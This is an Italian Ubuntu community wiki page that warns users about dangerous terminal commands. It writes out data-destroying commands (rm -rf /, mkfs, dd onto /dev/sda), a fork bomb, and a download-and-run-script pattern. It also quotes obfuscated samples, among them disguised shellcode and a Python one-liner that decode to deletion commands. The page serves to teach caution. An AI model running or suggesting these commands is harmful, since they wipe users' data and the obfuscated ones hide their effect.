## page was renamed from AmministrazioneSistema/ComandiDannosi
## page was renamed from ComandiDannosi
#format wiki
#LANGUAGE it
<
>
<>
<>
= Introduzione =
A scopo puramente didattico e illustrativo, questa guida raccoglie una lista non esaustiva di comandi potenzialmente pericolosi.
Si raccomanda particolare prudenza in caso sia necessario eseguire alcuni dei comandi elencati di seguito. <
>Si ricorda che è possibile eseguire in tutta sicurezza comandi potenzialmente dannosi, a scopo di test, all'interno di [[Virtualizzazione|macchine virtuali]] (si consiglia comunque di scollegare eventuali periferiche di memoria condivise dai sistemi ''guest'' e ''host'').
{{{#!wiki tip
In caso di dubbi consultare le guide elencate nel paragrafo [[#risorse|Ulteriori Risorse]], oppure rivolgersi ai [[http://www.ubuntu-it.org/supporto|canali di supporto]].
}}}
{{{#!wiki important
Suggerire immotivatamente l'esecuzione di comandi pericolosi ad altri utenti nei [[http://www.ubuntu-it.org/supporto|canali di supporto]] comporta sanzioni da parte dei moderatori e degli amministratori, finanche il ban e l'esclusione permanente dell'account.
}}}
= Comandi da terminale =
<>
== Rimozione: rm ==
* I seguenti comandi cancellano rispettivamente tutti i file, la cartella corrente e i file visibili all'interno della cartella corrente: {{{
rm -rf /
rm -rf .
rm -rf *
}}}
{{{#!wiki note
Da alcuni anni, è attiva una protezione contro questo comando eseguito nella cartella di root. Tuttavia questa limitazione è aggirabile tramite il parametro `--no-preserve-root`.
}}}
* Il seguente comando è da considerarsi molto pericoloso poiché, digitato con i [[AmministrazioneSistema/PrivilegiDiAmministrazione|privilegi di amministrazione]], esegue la cancellazione di tutto il contenuto della '''root''' di sistema: {{{
rm -rf /*
}}}
Tale cancellazione elimina non solo l'intero filesystem, ma anche tutto ciò che è presente in eventuali dispositivi esterni collegati e montati, inclusi quelli ad esempio presenti nella cartella `/media/` (altre partizioni, chiavette USB, hard disk esterni, schede SD ecc.).
* Qualora si volessero eliminare solamente file nascosti (che hanno primo carattere del nome «`.`», ovvero un punto) il comando {{{
rm -r .*
}}}
potrebbe provocare risultati inattesi. Infatti, effettuando la scansione della cartella corrente, troverebbe anche l'occorrenza `..` che si riferisce alla cartella di livello superiore.
* Al contrario del comando precedente, il seguente comando elimina solo i file nascosti contenuti nella cartella corrente: {{{
rm -r .[^.]*
}}}
<>
== Formattazione: mkfs ==
Il comando '''mkfs''' viene utilizzato per formattare supporti di memoria, causando la distruzione di tutti i dati, rimpiazzandoli con un nuovo [[https://it.wikipedia.org/wiki/File_system|filesystem]].
Di seguito è riportato un esempio di come si possa formattare una partizione con filesystem `ext4`, o una partizione in base al suo nome (viene preso come esempio il primo dispositivo `/dev/sda1`).
{{{
mkfs
mkfs.ext4
mkfs.ext4 /dev/sda1
}}}
<>
== Copia di blocchi di dati: dd ==
Utilizzando il comando '''dd''' con i [[AmministrazioneSistema/PrivilegiDiAmministrazione|privilegi di amministrazione]] e determinati parametri, si può incorrere nella totale perdita dei dati contenuti in un intero dispositivo (incluse quindi eventuali altre partizioni e l'[[https://it.wikipedia.org/wiki/Master_boot_record|MBR]]).
Ad esempio, dove i parametri `if` e `of` rappresentano rispettivamente i dati da inserire e il dispositivo di destinazione:
* `dd if=/dev/zero of=/dev/sda`: riempie il dispositivo con una sequenza di zeri;
* `dd if=/dev/null of=/dev/sda`: riempie il dispositivo con una sequenza di dati nulli (non memorizzati);
* `dd if=/dev/random of=/dev/sda`: riempie il dispositivo con una sequenza di dati casuali.
<>
== Utilizzo sconsiderato di fork() ==
L'utilizzo del comando di sistema '''fork''' permette la creazione di un processo "figlio" avente le stesse caratteristiche del padre.
Lanciare però un numero enorme di processi "figli" può causare il blocco del sistema, obbligando l'utente al riavvio forzato con possibile corruzione o danneggiamento dei dati presenti su disco. Alcuni comandi che possono causare tale fenomeno sono: {{{
:(){:|&};:
}}}
oppure (utilizzando il linguaggio di programmazione [[https://it.wikipedia.org/wiki/Perl|perl]]):{{{
fork while fork
}}}
<>
== Esecuzione script ==
L'esecuzione di [[Programmazione/Script|script]] all'interno di un [[AmministrazioneSistema/Terminale|terminale]] può essere pericolosa poiché questi possono contenere al loro interno comandi potenzialmente dannosi o non desiderati. Si raccomanda pertanto di eseguire script suggeriti da fonti fidate.
Nei seguenti esempi vengono riportati comandi che scaricano ed eseguono un ipotetico [[Programmazione/LinguaggioBash|script in bash]] «`prova.sh`» da un ipotetico indirizzo «`http://sito_internet`»:{{{
wget http://sito_internet/prova.sh
sh ./prova.sh
}}} {{{
wget http://sito_internet/prova.sh -O- | sh
}}}
<>
= Compilazione codice sorgente =
È potenzialmente possibile nascondere del codice pericoloso (o addirittura maligno) all'interno di [[https://it.wikipedia.org/wiki/Codice_sorgente|sorgenti]] di dimensioni considerevoli. Pertanto si raccomanda di eseguire, compilare e modificare codici provenienti solo da fonti ritenute attendibili (ad esempio piattaforme di distribuzione dove il codice sia consultabile in maniera libera e facile da qualsiasi utente, quali [[https://launchpad.net/|Launchpad]], [[http://sourceforge.net|SourceForge]], [[https://github.com/|GitHub]], [[https://gitlab.com|GitLab]] ecc.).
Un esempio di codice pericoloso è il seguente: {{{
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
}}}
Apparso all'interno di una [[http://seclists.org/fulldisclosure/2007/Aug/0071.html|mailing list]] come dimostrazione di [[https://it.wikipedia.org/wiki/Exploit|exploit]] da eseguire con i [[AmministrazioneSistema/PrivilegiDiAmministrazione|privilegi di amministrazione]], l'esempio precedente sembra in apparenza un codice affatto pericoloso, per quanto poco comprensibile. In realtà esegue il comando {{{
rm -rf ~ / &
}}}
che distrugge la cartella '''Home''' dell'utente che ha esegue il codice compilato.
= Archivi =
Alcuni [[AmministrazioneSistema/FormatiDiCompressione|archivi]] come i file `.tar` possono provocare spiacevoli inconvenienti e causare danni al sistema, come illustrato in [[AmministrazioneSistema/FormatiDiCompressione#tar|questo paragrafo]].
= Altri esempi =
L'esecuzione del seguente comando in [[Programmazione/Python|Python]] per una durata di circa 30 secondi ha un effetto disastroso sui file del proprio hard disk: {{{
python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'
}}}
Infatti la sintassi `"sn!.sg!+"` sta ad indicare `rm -rf *`, comando a cui è dedicato il relativo [[#rm|paragrafo]].
<>
= Ulteriori risorse =
* [[AmministrazioneSistema/Terminale|Terminale]]
* [[AmministrazioneSistema/ComandiBase|Comandi di base]]
* [[AmministrazioneSistema/Filesystem|Filesystem]]
* [[AmministrazioneSistema/PulireUbuntu|Pulizia del sistema]]
----
CategoryAmministrazione